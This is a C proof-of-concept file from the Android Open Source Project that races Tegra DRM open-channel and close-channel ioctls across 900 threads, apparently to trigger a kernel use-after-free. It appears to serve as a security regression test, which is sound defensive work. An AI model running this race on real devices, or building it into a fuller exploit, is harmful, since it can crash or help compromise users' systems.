1 /*
2 * Copyright (C) 2016 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <errno.h>
22 #include <sys/stat.h>
23 #include <fcntl.h>
24 #include <sched.h>
25 #include <sys/types.h>
26 #include <signal.h>
27 #include <unistd.h>
28
29 #define THREAD_NUM 900
30 #define TRY_TIMES 900
31 #define DEV "/dev/dri/renderD129"
32
33 #define SIOCIWFIRSTPRIV 0x8BE0
34 #define SIOCGIWNAME 0x8B01
35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
36 #define PRIV_CUSTOM_BWCS_CMD 13
37 #define PRIV_CMD_OID 15
38 #define PRIV_CMD_SW_CTRL 20
39 #define PRIV_CMD_WSC_PROBE_REQ 22
40
41 enum host1x_class {
42 HOST1X_CLASS_HOST1X = 0x1,
43 HOST1X_CLASS_NVENC = 0x21,
44 HOST1X_CLASS_VI = 0x30,
45 HOST1X_CLASS_ISPA = 0x32,
46 HOST1X_CLASS_ISPB = 0x34,
47 HOST1X_CLASS_GR2D = 0x51,
48 HOST1X_CLASS_GR2D_SB = 0x52,
49 HOST1X_CLASS_VIC = 0x5D,
50 HOST1X_CLASS_GR3D = 0x60,
51 HOST1X_CLASS_NVJPG = 0xC0,
52 HOST1X_CLASS_NVDEC = 0xF0,
53 };
54
55 #define DRM_COMMAND_BASE 0x40
56 #define DRM_COMMAND_END 0xA0
57
58 #define DRM_TEGRA_OPEN_CHANNEL 0x05
59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06
60
61 struct drm_tegra_open_channel {
62 __u32 client;
63 __u32 pad;
64 __u64 context;
65 };
66
67 struct drm_tegra_close_channel {
68 __u64 context;
69 };
70
71 #define DRM_IOCTL_BASE 'd'
72 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
73 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
74 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
75
76 int fd;
77 pthread_t thread_id[THREAD_NUM] = { 0 };
78 int thread_ret[THREAD_NUM] = { 0 };
79 int futex_signal = 0;
80
81 struct drm_tegra_open_channel open_c = { 0 };
82 volatile struct drm_tegra_close_channel close_c = { 0 };
83
set_affinity(int num)84 static int set_affinity(int num)
85 {
86 int ret = 0;
87 cpu_set_t mask;
88 CPU_ZERO(&mask);
89 CPU_SET(num, &mask);
90 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
91 if(ret == -1){
92 }
93 return ret;
94 }
95
prepare()96 static void prepare()
97 {
98 open_c.client = HOST1X_CLASS_VIC;
99 }
100
child(void * no_use)101 void* child(void* no_use)
102 {
103 int ret = 1;
104 set_affinity(1);
105
106 while(ret){
107 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
108 }
109 return NULL;
110 }
111
main()112 int main()
113 {
114 int i, try_time = TRY_TIMES, ret;
115
116 /* bind_cpu */
117 set_affinity(0);
118
119 /* open dev */
120 fd = open(DEV,O_RDONLY);
121 if(fd == -1){
122 return 0;
123 }
124
125 /* prepare ioctl cmd */
126 prepare();
127
128 /* create thread */
129 for(i = 0; i < THREAD_NUM; i++){
130 thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
131 }
132
133 while(try_time--){
134 /* open */
135 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
136 if(ret){
137 }else{
138 }
139 /* close */
140 close_c.context = open_c.context;
141
142 /* swtich to child */
143 usleep(500);
144 }
145
146 out_thread:
147 /* kill thread */
148 for(i = 0; i < THREAD_NUM; i++){
149 if(!thread_ret[i]){
150 pthread_kill(thread_id[i], SIGKILL);
151 }
152 }
153
154 out_close:
155 close(fd);
156 return 0;
157 }
158
159